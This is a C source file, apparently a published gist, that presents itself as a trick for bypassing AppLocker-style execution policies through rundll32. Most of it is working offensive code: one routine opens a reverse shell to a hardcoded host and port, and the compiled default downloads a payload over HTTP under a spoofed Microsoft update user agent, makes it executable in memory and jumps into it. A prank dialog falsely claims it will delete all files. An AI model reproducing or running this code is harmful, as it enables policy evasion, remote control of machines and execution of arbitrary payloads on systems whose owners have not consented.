RunMe.c

April 27, 2016 ยท View on GitHub

/**

  • Trick to run arbitrary command when code execution policy is enforced
  • (i.e. AppLocker or equivalent). Works on Win98 (lol) and up - tested on 7/8
  • To compile using CL as DLL:
  • C:> cl.exe RunMe.c /LD /OUT:RunMe.dll
  • To compile as PE (USE_DLL must be commented out):
  • C:> cl.exe RunMe.c /OUT:RunMe.exe
  • To execute under Windows:
  • C:> rundll32 .\RunMe.dll,RunCommand calc
  • or
  • C:> rundll32 .\RunMe.dll,RunCommand cmd.exe /k whoami
  • If cmd.exe is blocked, this can be invoked via Shortcut creation mechanism
  • ... AND it works over an SMB share (stealthy++ :D)
  • @hugsy

*/

#include <winsock2.h> #include <windows.h> #include <shellapi.h> #include <tchar.h> #include <stdio.h> #include <string.h> #include <malloc.h>

#pragma comment(lib, "Ws2_32.lib") #pragma comment(lib, "User32.lib") #pragma comment(lib, "Advapi32.lib")

/**

  • To compile as EXE, uncomment this or
  • compile with the argument /DUSE_DLL */ //#define USE_DLL TRUE

#define HOST "192.168.56.1" #define PORT 4444 #define DEFAULT_COMMAND "cmd"

#define TECHNIQUE 3

#if TECHNIQUE==1 #pragma comment(lib, "Shell32.lib")

static void ExecuteSimpleCommand(char* cmd, char* args) { SHELLEXECUTEINFO shExecInfo = {0, }; shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); shExecInfo.fMask = 0; shExecInfo.hwnd = NULL; shExecInfo.lpVerb = "open"; shExecInfo.lpFile = _T(cmd); shExecInfo.lpParameters = _T(args); shExecInfo.lpDirectory = NULL; shExecInfo.nShow = SW_NORMAL; shExecInfo.hInstApp = NULL; ShellExecuteEx(&shExecInfo); return; } #endif

#if TECHNIQUE==2 static void ReverseCommand(char* cmd, char* args) { WSADATA wsaData = {0}; SOCKET sock; int iResult; PROCESS_INFORMATION pi; STARTUPINFO si; SOCKADDR_IN socket_info;

ZeroMemory (&si, sizeof(si));
ZeroMemory (&pi, sizeof(pi));
ZeroMemory (&socket_info, sizeof(socket_info));

/* Setup the socket */
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0)
    return;

sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
    return;

socket_info.sin_family = AF_INET;
socket_info.sin_addr.s_addr = inet_addr(HOST);
socket_info.sin_port = htons(PORT);

iResult = WSAConnect(sock, (SOCKADDR *)&socket_info, sizeof(socket_info), NULL, NULL, NULL, NULL);
if (iResult == SOCKET_ERROR)
    goto cleanup;

/* Create the command process and redirect stdin/stdout/stderr to the socket */
si.cb         = sizeof(si);
si.dwFlags    = STARTF_USESTDHANDLES;
si.hStdInput  = (HANDLE)sock;
si.hStdOutput = (HANDLE)sock;
si.hStdError  = (HANDLE)sock;

iResult = CreateProcess (NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
if (!iResult)
    goto cleanup;

WaitForSingleObject (pi.hProcess, INFINITE);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);

cleanup: WSACleanup(); return; } #endif

#if TECHNIQUE==3

#include <Winhttp.h> #pragma comment(lib, "Winhttp.lib")

#define USE_HTTPS FALSE #define HTTP_HOST L"192.168.56.1" #define HTTP_METH L"GET" #define HTTP_PATH L"/update-list-signed.gpg"

/**

  • Download and execute a payload via HTTP(s) / static void ExecuteHttpPayloadCommand(char cmd, char* args) { BOOL bRes, bOk; HINTERNET hSess=NULL, hConn=NULL, hReq=NULL; LPCWSTR pswzHost = HTTP_HOST; INTERNET_PORT iPort = USE_HTTPS ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT; LPVOID lpRes; DWORD dwResSize, dwDwld, dwOld, i; WINHTTP_PROXY_INFO proxyInfo;

     bOk = FALSE;
    
     bRes = WinHttpGetDefaultProxyConfiguration( &proxyInfo );
     if(!bRes)
         return;
    
     hSess = WinHttpOpen(L"Microsoft Win32 Pool Update check",
                         WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                         proxyInfo.lpszProxy?proxyInfo.lpszProxy:WINHTTP_NO_PROXY_NAME,
                         proxyInfo.lpszProxyBypass?proxyInfo.lpszProxyBypass:WINHTTP_NO_PROXY_BYPASS,
                         0);
     if (!hSess)
             return;
    
     hConn = WinHttpConnect(hSess, pswzHost, iPort, 0);
     if(!hConn)
             goto end_handle;
    
     hReq = WinHttpOpenRequest(hConn, HTTP_METH, HTTP_PATH, NULL, WINHTTP_NO_REFERER,
                               WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
     if(!hReq)
             goto end_http;
    
     bRes = WinHttpSendRequest(hReq,
                               WINHTTP_NO_ADDITIONAL_HEADERS,
                               0,
                               WINHTTP_NO_REQUEST_DATA,
                               0,
                               0,
                               0);
     if(!bRes)
             goto end_req;
    
     bRes = WinHttpReceiveResponse(hReq, NULL);
     if(!bRes)
             goto end_req;
    
     WinHttpQueryDataAvailable(hReq, &dwResSize);
     lpRes = VirtualAlloc(NULL, dwResSize+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
     ZeroMemory(lpRes, dwResSize+1);
     WinHttpReadData(hReq, lpRes, dwResSize, &dwDwld);
     FlushInstructionCache(GetCurrentProcess(), lpRes, dwResSize+1);
     VirtualProtect(lpRes, dwResSize+1, PAGE_EXECUTE_READWRITE, &dwOld);
    
     // add some delay
     for(i=0; i<1<<31;i++);
    
     bOk = TRUE;
    

end_req: WinHttpCloseHandle(hReq);

end_http: WinHttpCloseHandle(hConn);

end_handle: WinHttpCloseHandle(hSess);

    if (bOk){
            __asm {
                    mov eax, lpRes;
                    call lpRes;
            }
    }
    return;

} #endif

#if TECHNIQUE==0 static void Lulz(char* cmd, char* args) { LPCTSTR text, title; LPTSTR user; DWORD userbufsz = 64;

title = "Ultimate disk cleaner.";
text = (LPTSTR)alloca(512);
user = (LPTSTR)alloca(userbufsz);

LPWSTR pFmt = "Hello %1 !\n"
"This program will now delete all files on your disk.\n\n"
"Thank you for running this program and have a nice day.\n" ;

if (!GetUserName(user, &userbufsz))
    return;

if (!FormatMessage(FORMAT_MESSAGE_FROM_STRING | FORMAT_MESSAGE_ARGUMENT_ARRAY,
                   pFmt,
                   0,
                   0,
                   text,
                   512,
                   (va_list*)&user)){
    return;
}

MessageBox(NULL, cmd, title, MB_OK);
MessageBox(NULL, text, title, MB_OK);

return;

} #endif

#ifdef USE_DLL void __declspec(dllexport) RunCommand(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) #else int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) #endif

{ char *cmd, *args; int i;

if (!lpszCmdLine || strlen(lpszCmdLine)==0){
    cmd = _strdup(DEFAULT_COMMAND);
    args = NULL;
} else {
    cmd = _strdup(lpszCmdLine);
    args = strchr(lpszCmdLine, ' ');
    if (args){
            i = (args - lpszCmdLine);
            cmd[i] = '\x00';
    }
}

#if TECHNIQUE == 1 ExecuteSimpleCommand(cmd, args); #elif TECHNIQUE == 2 ReverseCommand(cmd, args); #elif TECHNIQUE == 3 ExecuteHttpPayloadCommand(cmd, args); #else Lulz(cmd, args); #endif

free(cmd);

#ifdef USE_DLL return; #else return 0; #endif }